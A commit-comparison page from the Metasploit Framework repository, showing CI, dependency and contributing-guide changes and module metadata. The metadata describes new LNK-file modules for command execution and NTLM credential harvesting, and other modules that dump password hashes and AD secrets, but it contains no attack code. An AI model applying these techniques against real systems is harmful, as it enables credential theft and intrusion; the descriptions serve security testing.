Compare commits
209 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b5c9547cc0 | |||
| 3cc91f544e | |||
| 103ae28696 | |||
| a3498db126 | |||
| 6e06963495 | |||
| 81127918fe | |||
| c044db677d | |||
| 310b8b7f8a | |||
| 38efab0bab | |||
| 5faf18795c | |||
| eaada61d80 | |||
| 042cdb7a60 | |||
| 82e2f03c23 | |||
| d21f7917a9 | |||
| a849571502 | |||
| 7b4bb55e12 | |||
| a23473a103 | |||
| 81d8d46166 | |||
| 20c8708c96 | |||
| 79ff667d5e | |||
| 95bc7a4599 | |||
| 00f902b04b | |||
| 3d1d49b71a | |||
| 8cfc2ae723 | |||
| 7b3c82f2e6 | |||
| a91f5f53f2 | |||
| 070bf7f287 | |||
| 7f88110032 | |||
| 86381a6394 | |||
| 391e4e22f6 | |||
| 40f6e2ca60 | |||
| c4b7d9b42f | |||
| ae3b548be6 | |||
| 40c32a2599 | |||
| 13b6c6eb98 | |||
| e9ab1d0839 | |||
| 915cad72b5 | |||
| 01a07ac9a1 | |||
| 6d693c8586 | |||
| 74de3c7314 | |||
| a1e3e1545b | |||
| 1a84744f15 | |||
| 5260da1867 | |||
| 6e01e7a5f6 | |||
| 468b1027f3 | |||
| 13b3e20a6b | |||
| 5af0dd3357 | |||
| a4f9dc7f13 | |||
| 052fdb7234 | |||
| e6e7a455e5 | |||
| b51cc87f88 | |||
| 6b183ba3b4 | |||
| 9c901e7a46 | |||
| a1973e9f72 | |||
| c0f4efd87d | |||
| 13c3f4349d | |||
| 09207eb450 | |||
| b54dfddc25 | |||
| 75c8efbc7d | |||
| 19074eef02 | |||
| 893a4a5c98 | |||
| 094fa8191a | |||
| 1dc1a24f73 | |||
| 4b2a354d21 | |||
| a496ad0ac7 | |||
| 8b539f7e96 | |||
| 6c5522cdba | |||
| 160cf5c55b | |||
| ed88e5397c | |||
| 15f4abd1b2 | |||
| dbc7af30b7 | |||
| cf3abc280e | |||
| f844377d58 | |||
| 05273263c9 | |||
| c718a965d7 | |||
| cb2f3992de | |||
| c1b9cc7150 | |||
| 6ddaa076c1 | |||
| 1891ebef87 | |||
| f26c14f05a | |||
| 08c43670ff | |||
| 99c24c37f2 | |||
| 448381ee96 | |||
| b5b1ac237a | |||
| a333c81338 | |||
| dc8d67538c | |||
| 076fd0cc45 | |||
| 81ce0f8868 | |||
| 5394ff4b1b | |||
| 58dfd4d0ca | |||
| 73c6ed2528 | |||
| 93bc79e87d | |||
| 7c5fce6872 | |||
| 788b9c27b4 | |||
| 5eecb1feac | |||
| 76977aeb61 | |||
| 32aa0d84e4 | |||
| 555423b2eb | |||
| 02e35f7e92 | |||
| ebe0234ddb | |||
| ab1dd8787c | |||
| 1ec10ec877 | |||
| a538a8ea14 | |||
| eddc81f10c | |||
| 12b78c086d | |||
| ddc5abf20c | |||
| bb3a26cff1 | |||
| b754b7027c | |||
| 20345c2234 | |||
| 7be73c59e9 | |||
| b30c3e32c6 | |||
| 85c65bd48f | |||
| aa264f59d4 | |||
| 2ea4f7cdb0 | |||
| 97495cdaa4 | |||
| 65549ba868 | |||
| 5a82ea53b9 | |||
| 3aa18b1541 | |||
| 8ad35c0534 | |||
| b45a3caaa5 | |||
| 831912a81b | |||
| 4328e9951f | |||
| e473c08b61 | |||
| c27138a5bf | |||
| 829166def4 | |||
| 3f1698f209 | |||
| 796404c1d7 | |||
| 3e396ce31f | |||
| 5d748b9ba3 | |||
| 93472898ce | |||
| 59f1dd4879 | |||
| dbc7867dd7 | |||
| c901b5a306 | |||
| d3d2950e80 | |||
| 5abe0f57b7 | |||
| 15cdbfac2e | |||
| fd1d70ef93 | |||
| 403d02698b | |||
| cc48f38e21 | |||
| 96a83143f1 | |||
| dd7c491d9e | |||
| 985af001d2 | |||
| a3a1e146f0 | |||
| e197f532db | |||
| bce1a19927 | |||
| 947a0ed339 | |||
| afdaf4ff39 | |||
| 5ab864b9b1 | |||
| 80c5e41650 | |||
| 00bd70751c | |||
| f494b9871a | |||
| 71e9602eba | |||
| 2bf5264aff | |||
| 489e0ca404 | |||
| e3cad5b772 | |||
| 296961137e | |||
| f240fed592 | |||
| 8b6aede3e4 | |||
| 16e407fa47 | |||
| 945fd8feb1 | |||
| c2ca191711 | |||
| 2bd3ea0e6a | |||
| feb4c6f855 | |||
| e0f350f294 | |||
| 8bc611465b | |||
| e1e4e43535 | |||
| 1bd44fa485 | |||
| 30cfc5dbb0 | |||
| e79c10ac66 | |||
| 9e461ea875 | |||
| 785397bb0c | |||
| c4d03023fc | |||
| fb29084f86 | |||
| c3be5ad23c | |||
| 638beeb738 | |||
| 711d8d0896 | |||
| db2f9f7792 | |||
| dbb631ffb6 | |||
| 7ce2bdc979 | |||
| 5c1673bb20 | |||
| 8ffc9a3db4 | |||
| 00114142ff | |||
| e1b6249c23 | |||
| e661388ce6 | |||
| be546af7c0 | |||
| 3f7512ba62 | |||
| c40e4cc8bc | |||
| 4ede319b0a | |||
| 600ad5777a | |||
| 55d8a3f33c | |||
| 96c6a14e95 | |||
| 4f606bc216 | |||
| b360d5edc3 | |||
| a07203c14e | |||
| d056164d89 | |||
| fa64376c5c | |||
| 090743abbd | |||
| a8e97e034c | |||
| 2533ddf441 | |||
| b43b4c9f37 | |||
| 5b9f1c7818 | |||
| da5b20faa4 | |||
| 8c28c7dbae | |||
| 7ab12460f1 | |||
| 96791403db | |||
| 52efe8d6de | |||
| 383ee010f1 | |||
| dcfa448cf8 | |||
| 07692ff241 |
@@ -269,12 +269,26 @@ jobs:
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2022 Build (Windows)
|
||||
shell: cmd
|
||||
shell: pwsh
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2022' && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
cd c/meterpreter
|
||||
git submodule init && git submodule update
|
||||
make.bat
|
||||
Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
|
||||
dir
|
||||
$InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
|
||||
$WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
|
||||
$Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
|
||||
$process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
|
||||
if ($process.ExitCode -eq 0) {
|
||||
Write-Host "components have been successfully added"
|
||||
} else {
|
||||
Write-Host "components were not installed"
|
||||
exit 1
|
||||
}
|
||||
Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
|
||||
$r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
|
||||
Write-Host $r
|
||||
$r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
|
||||
Write-Host $r
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
|
||||
|
||||
+4
-2
@@ -25,8 +25,10 @@ will be closed. We need to ensure the code we're adding to master is written to
|
||||
## Expedited Module Creation Process
|
||||
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
## Vibecoding, AI, and LLM
|
||||
My first job had a token ring LAN and I still own a Win98SE CD, so I'm not entirely sure what _vibecoding_ is, but we're cool with any coding technique you use to create a PR as long as it is tested, documented, and does what it says it does. Untested code is incomplete code, and incomplete code should be marked as a draft PR or WIP (Work in Progress) until it is complete, tested, and ready for a committer to review. We have had several sumbissions clearly from AI that were well-formatted, looked really neat, and did nothing it said it did. While we have no problem with AI-assisted coding, please do not assume that the code generated by an AI or LLM is logically or even syntactically correct.
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
Keeping the following in mind gives your contribution the best chance of landing!
|
||||
|
||||
#### <u>Pull Requests</u>
|
||||
@@ -42,7 +44,7 @@ Keeping the following in mind gives your contribution the best chance of landing
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
|
||||
* **Do** test your code.
|
||||
* **Do** test your code and submit the test output in your PR with any sensitive information removed.
|
||||
* **Do** list [verification steps] so committers can test your code.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Don't** leave your pull request description blank.
|
||||
|
||||
+8
-6
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.87)
|
||||
metasploit-framework (6.4.91)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.2.0)
|
||||
@@ -208,11 +208,11 @@ GEM
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
benchmark (0.4.1)
|
||||
bigdecimal (3.2.2)
|
||||
bigdecimal (3.2.3)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (5.0.2)
|
||||
bson (5.1.1)
|
||||
builder (3.3.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
@@ -235,7 +235,7 @@ GEM
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
drb (2.2.3)
|
||||
ed25519 (1.3.0)
|
||||
ed25519 (1.4.0)
|
||||
elftools (1.3.1)
|
||||
bindata (~> 2)
|
||||
em-http-request (1.1.7)
|
||||
@@ -487,9 +487,11 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.41)
|
||||
rex-exploitation (0.1.44)
|
||||
bigdecimal
|
||||
jsobfu
|
||||
metasm
|
||||
racc
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
@@ -526,7 +528,7 @@ GEM
|
||||
bigdecimal
|
||||
rex-zip (0.1.6)
|
||||
rex-text
|
||||
rexml (3.4.1)
|
||||
rexml (3.4.4)
|
||||
rinda (0.2.0)
|
||||
drb
|
||||
forwardable
|
||||
|
||||
+3
-3
@@ -30,7 +30,7 @@ benchmark, 0.4.1, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.2.2, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
bson, 5.0.2, "Apache 2.0"
|
||||
bson, 5.1.1, "Apache 2.0"
|
||||
builder, 3.3.0, MIT
|
||||
bundler, 2.5.22, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
@@ -49,7 +49,7 @@ dnsruby, 1.72.4, "Apache 2.0"
|
||||
docile, 1.4.1, MIT
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
drb, 2.2.3, "ruby, Simplified BSD"
|
||||
ed25519, 1.3.0, MIT
|
||||
ed25519, 1.4.0, MIT
|
||||
elftools, 1.3.1, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.3, MIT
|
||||
@@ -96,7 +96,7 @@ memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.5, "New BSD"
|
||||
metasploit-credential, 6.0.16, "New BSD"
|
||||
metasploit-framework, 6.4.87, "New BSD"
|
||||
metasploit-framework, 6.4.91, "New BSD"
|
||||
metasploit-model, 5.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.9, "New BSD"
|
||||
|
||||
+1226
-498
@@ -837,7 +837,7 @@
|
||||
"Spencer McIntyre",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically\n ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.\n The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the\n admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the\n admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via\n MS-ICPR. The resulting certificate can be used for various operations, such as authentication.\n\n The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are\n reverted after execution to maintain system integrity.",
|
||||
"description": "This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically\n ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.\n The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the\n admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is\n not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user\n and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as\n authentication.\n\n The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are\n reverted after execution to maintain system integrity.",
|
||||
"references": [
|
||||
"URL-https://github.com/GhostPack/Certify",
|
||||
"URL-https://github.com/ly4k/Certipy",
|
||||
@@ -856,7 +856,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-07-30 15:28:56 +0000",
|
||||
"mod_time": "2025-09-25 13:35:41 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/esc_update_ldap_object",
|
||||
@@ -11234,7 +11234,8 @@
|
||||
"description": "This module authenticates to an Active Directory Domain Controller and creates\n a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the\n ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM\n hive copy can be used in combination with other tools for offline extraction of AD\n password hashes. All of this is done without uploading a single binary to the\n target host.",
|
||||
"references": [
|
||||
"URL-http://sourceforge.net/projects/smbexec",
|
||||
"URL-https://www.optiv.com/blog/owning-computers-without-shell-access"
|
||||
"URL-https://www.optiv.com/blog/owning-computers-without-shell-access",
|
||||
"ATT&CK-T1003.003"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -11248,7 +11249,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-21 08:32:40 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/smb/psexec_ntdsgrab",
|
||||
@@ -18677,6 +18678,130 @@
|
||||
"needs_cleanup": false,
|
||||
"actions": []
|
||||
},
|
||||
"auxiliary_fileformat/datablock_padding_lnk": {
|
||||
"name": "Windows Shortcut (LNK) Padding",
|
||||
"fullname": "auxiliary/fileformat/datablock_padding_lnk",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2025-07-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Nafiez"
|
||||
],
|
||||
"description": "This module generates Windows LNK (shortcut) file that can execute\n arbitrary commands. The LNK file uses environment variables and execute\n its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace\n character padding bytes and concatenates the actual payload.",
|
||||
"references": [
|
||||
"ZDI-25-148",
|
||||
"URL-https://zeifan.my/Windows-LNK/",
|
||||
"URL-https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1",
|
||||
"URL-https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-09-29 10:12:50 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/datablock_padding_lnk.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/datablock_padding_lnk",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": []
|
||||
},
|
||||
"auxiliary_fileformat/environment_variable_datablock_leak": {
|
||||
"name": "Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak",
|
||||
"fullname": "auxiliary/fileformat/environment_variable_datablock_leak",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2025-05-06",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Nafiez"
|
||||
],
|
||||
"description": "This module creates a malicious Windows shortcut (LNK) file that\n specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)\n that can trigger an authentication attempt to a remote server. This can be used\n to harvest NTLM authentication credentials.\n\n When a victim right-click the generated LNK file, it will attempt to connect to the\n the specified UNC path, resulting in an SMB connection that can be captured\n to harvest credentials.",
|
||||
"references": [
|
||||
"URL-https://zeifan.my/Right-Click-LNK/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-09-29 11:37:42 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/environment_variable_datablock_leak",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
],
|
||||
"Reliability": []
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": []
|
||||
},
|
||||
"auxiliary_fileformat/icon_environment_datablock_leak": {
|
||||
"name": "IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak",
|
||||
"fullname": "auxiliary/fileformat/icon_environment_datablock_leak",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2025-05-16",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Nafiez"
|
||||
],
|
||||
"description": "This module creates a malicious Windows shortcut (LNK) file that\n specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)\n that can trigger an authentication attempt to a remote server. This can be used\n to harvest NTLM authentication credentials.\n\n When a victim browse to the location of the LNK file, it will attempt to\n connect to the the specified UNC path, resulting in an SMB connection that\n can be captured to harvest credentials.",
|
||||
"references": [
|
||||
"URL-https://zeifan.my/Right-Click-LNK/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-09-29 11:37:42 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/icon_environment_datablock_leak",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
],
|
||||
"Reliability": []
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": []
|
||||
},
|
||||
"auxiliary_fileformat/maldoc_in_pdf_polyglot": {
|
||||
"name": "Maldoc in PDF Polyglot converter",
|
||||
"fullname": "auxiliary/fileformat/maldoc_in_pdf_polyglot",
|
||||
@@ -18798,6 +18923,44 @@
|
||||
"needs_cleanup": false,
|
||||
"actions": []
|
||||
},
|
||||
"auxiliary_fileformat/specialfolder_leak": {
|
||||
"name": "SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak",
|
||||
"fullname": "auxiliary/fileformat/specialfolder_leak",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2025-05-10",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Nafiez"
|
||||
],
|
||||
"description": "This module creates a malicious Windows shortcut (LNK) file that\n specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)\n that can trigger an authentication attempt to a remote server. This can be used\n to harvest NTLM authentication credentials.\n\n When a victim browse to the location of the LNK file, it will attempt to\n connect to the the specified UNC path, resulting in an SMB connection that\n can be captured to harvest credentials.",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-09-29 11:33:33 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/specialfolder_leak.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/specialfolder_leak",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": []
|
||||
},
|
||||
"auxiliary_fileformat/word_unc_injector": {
|
||||
"name": "Microsoft Word UNC Path Injector",
|
||||
"fullname": "auxiliary/fileformat/word_unc_injector",
|
||||
@@ -20934,7 +21097,8 @@
|
||||
"references": [
|
||||
"URL-https://support.checkpoint.com/results/sk/sk182336",
|
||||
"URL-https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/",
|
||||
"URL-https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/"
|
||||
"URL-https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/",
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -20955,7 +21119,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-06-13 08:14:35 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/checkpoint_gateway_fileread_cve_2024_24919",
|
||||
@@ -22605,7 +22769,8 @@
|
||||
"EDB-47288",
|
||||
"URL-https://www.fortiguard.com/psirt/FG-IR-18-384",
|
||||
"URL-https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf",
|
||||
"URL-https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/"
|
||||
"URL-https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/",
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -22626,7 +22791,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-04-16 06:52:59 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/fortios_vpnssl_traversal_creds_leak",
|
||||
@@ -24319,7 +24484,8 @@
|
||||
"description": "This module will gather passwords and password hashes from a target LDAP server via multiple techniques\n including Windows LAPS. For best results, run with SSL because some attributes are only readable over\n encrypted connections.",
|
||||
"references": [
|
||||
"URL-https://blog.xpnsec.com/lapsv2-internals/",
|
||||
"URL-https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py"
|
||||
"URL-https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -24327,7 +24493,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-07-18 17:10:35 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_passwords.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_passwords",
|
||||
@@ -26221,7 +26387,8 @@
|
||||
"description": "This module exploits combined heap and stack buffer overflows for QNAP\n NAS and NVR devices to dump the admin (root) shadow hash from memory via\n an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.\n\n A binary search is performed to find the correct offset for the BOFs.\n Since the server forks, blind remote exploitation is possible, provided\n the heap does not have ASLR.",
|
||||
"references": [
|
||||
"URL-https://seclists.org/fulldisclosure/2017/Feb/2",
|
||||
"URL-https://en.wikipedia.org/wiki/Binary_search_algorithm"
|
||||
"URL-https://en.wikipedia.org/wiki/Binary_search_algorithm",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -26242,7 +26409,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/qnap_backtrace_admin_hash",
|
||||
@@ -26296,7 +26463,8 @@
|
||||
"EDB-48531",
|
||||
"URL-https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05",
|
||||
"URL-https://www.qnap.com/en-us/security-advisory/nas-201911-25",
|
||||
"URL-https://github.com/Imanfeng/QNAP-NAS-RCE"
|
||||
"URL-https://github.com/Imanfeng/QNAP-NAS-RCE",
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -26317,7 +26485,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-23 16:27:12 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/auxiliary/gather/qnap_lfi.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/qnap_lfi",
|
||||
@@ -27814,7 +27982,8 @@
|
||||
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n the vmdir service in VMware vCenter Server version 6.7 prior to the\n 6.7U3f update, only if upgraded from a previous release line, such as\n 6.0 or 6.5.\n If the bind username and password are provided (BIND_DN and LDAPPassword\n options), these credentials will be used instead of attempting an\n anonymous bind.",
|
||||
"references": [
|
||||
"CVE-2020-3952",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html"
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -27822,7 +27991,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-05 16:33:42 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
|
||||
@@ -27913,7 +28082,11 @@
|
||||
],
|
||||
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. This is\n done by remotely updating the registry key security descriptor,\n taking advantage of the WriteDACL privileges held by local\n administrators to set temporary read permissions.\n\n This can be disabled by setting the `INLINE` option to false and the\n module will fallback to the original implementation, which consists\n in saving the registry hives locally on the target\n (%SYSTEMROOT%\\Temp\\<random>.tmp), downloading the temporary hive\n files and reading the data from it. This temporary files are removed\n when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the 